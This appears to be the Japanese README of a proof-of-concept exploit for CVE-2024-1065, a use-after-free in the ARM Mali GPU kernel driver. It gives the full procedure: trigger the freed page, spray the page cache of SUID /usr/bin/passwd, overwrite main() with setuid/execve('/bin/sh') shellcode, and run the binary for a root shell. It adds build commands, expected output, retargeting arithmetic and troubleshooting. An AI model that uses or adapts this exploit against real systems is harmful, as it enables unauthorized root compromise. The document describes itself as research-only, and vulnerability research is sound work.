
CVE-2024-1065の概念実証エクスプロイト。ARM Mali GPUカーネルドライバーのuse-after-freeを介したページキャッシュ悪用を実証し、ディスク変更なしでルートとして任意のコード実行を達成します。
CVE-2024-1065 の概念実証エクスプロイトです。これは、ARM Mali GPU カーネルドライバにおける物理ページの use-after-free 脆弱性です。このエクスプロイトは ページキャッシュエクスプロイト を示しています。解放された MIGRATE_MOVABLE ページを SUID バイナリのメモリ内コードイメージに競合させ、それを上書きすることで、ディスク上のファイルを変更せずにルート権限で任意のコード実行を達成します。
研究目的のみ。 この PoC は、制御された x86 テストシステム上のパッチ済み脆弱性を対象としています。脆弱なコードパスは、製品版 Pixel デバイス上のユーザースペースからはトリガーできません。
UAF をトリガー — 匿名ページが KBASE_IOCTL_MEM_IMPORT を介して Mali GPU ドライバにインポートされ、ユーザースペースに2回マッピングされます。両方のマッピングを解放すると、cpu_mapping2 がまだエイリアスしている間に、物理ページは MIGRATE_MOVABLE バディフリーリストに戻ります。
ページキャッシュをスプレー — エクスプロイトは /usr/bin/passwd を100回開き、posix_fadvise(POSIX_FADV_DONTNEED) で PAGE_OFFSET のページを繰り返し追い出し、その後 pread でキャッシュミスをトリガーします。各ミスによりカーネルは新しい MIGRATE_MOVABLE ページを割り当て、UAF ページが選択されるまでフリーリストを循環させます。
重複を確認 — MAIN_OFFSET の cpu_mapping2 を介したプローブバイト読み取りにより、UAF ページがバイナリのページキャッシュエントリをバックアップしていることを確認します。値 0x00 と 0x61 は失敗を示し、その他は実際のバイナリコードです。
シェルコードを注入 — cpu_mapping2 を介した memcpy で main() を、setuid(0), setgid(0), execve("/bin/sh") を呼び出すシェルコードで上書きします。
実行 — execve("/usr/bin/passwd") が呼び出されます。ELF ローダーはバイナリのページキャッシュページを実行可能としてマッピングします。破損したページは既に存在しているため — ディスク読み取りは発生しません — シェルコードがルート権限で実行されます。
gcc -O2 -o exploit exploit.c
./exploit
Expected output:
[*] Opened /usr/bin/passwd x100
[*] MEM_IMPORT: flags=0x... gpu_va=0x... va_pages=0x1
[*] gpu_mapping (VA 1): 0x...
[*] cpu_mapping2 (VA 2): 0x...
[*] UAF triggered — stale mapping alive at 0x...
[*] Spraying page cache (100 attempts)...
[+] Overlap confirmed on attempt N (byte=0xf3) — cpu_mapping2 aliases the page cache!
[*] Shellcode written. Triggering execve...
# id
uid=0(root) gid=0(root) groups=0(root)
すべてのターゲット固有の値は exploit.c の先頭で定義されています:
#define TARGET_BINARY "/usr/bin/passwd"
#define PAGE_OFFSET 0x4000 /* file offset of the page containing main() */
#define MAIN_OFFSET 0xbc0 /* intra-page offset of main() */
別のバイナリに再ターゲットするには、エントリポイントアドレス (readelf -h) で _start を逆アセンブルして関数オフセットを見つけ、次に計算します:
PAGE_OFFSET = sym_va & ~0xfff
MAIN_OFFSET = sym_va & 0xfff
実行前に確認:
dd if=<TARGET_BINARY> bs=1 skip=$((PAGE_OFFSET + MAIN_OFFSET)) count=8 2>/dev/null | xxd
| 必要条件 | 値 |
|---|
| アーキテクチャ | x86-64 |
| カーネル | 5.15 (5.15.0+ でテスト済み) |
| カーネルコンフィグ | CONFIG_MALI_NO_MALI=y, CONFIG_MALI_CSF_SUPPORT=y, r48 |
| デバイス | ユーザースペースからアクセス可能な /dev/mali0 |
| ターゲットバイナリ | /usr/bin/passwd (SUID ルート) |
| 症状 | 原因 | 修正方法 |
|---|
| 試行100回後でもスプレーが失敗する | UAF ページが競合ウィンドウ前に消費された | UAF トリガー前にターゲットページを事前に追い出し、NUM_FDS を増やす |
kernel BUG at mm/page_poison.c | プローブチェックが 0xaa ページポイズンバイトで通過した | 確認チェックに probe != 0xaa を追加する |
MEM_IMPORT で SYSCHK が失敗する | Mali ドライバがロードされていない、またはバージョンが間違っている | CONFIG_MALI_NO_MALI とドライババージョンハンドシェイクを確認する |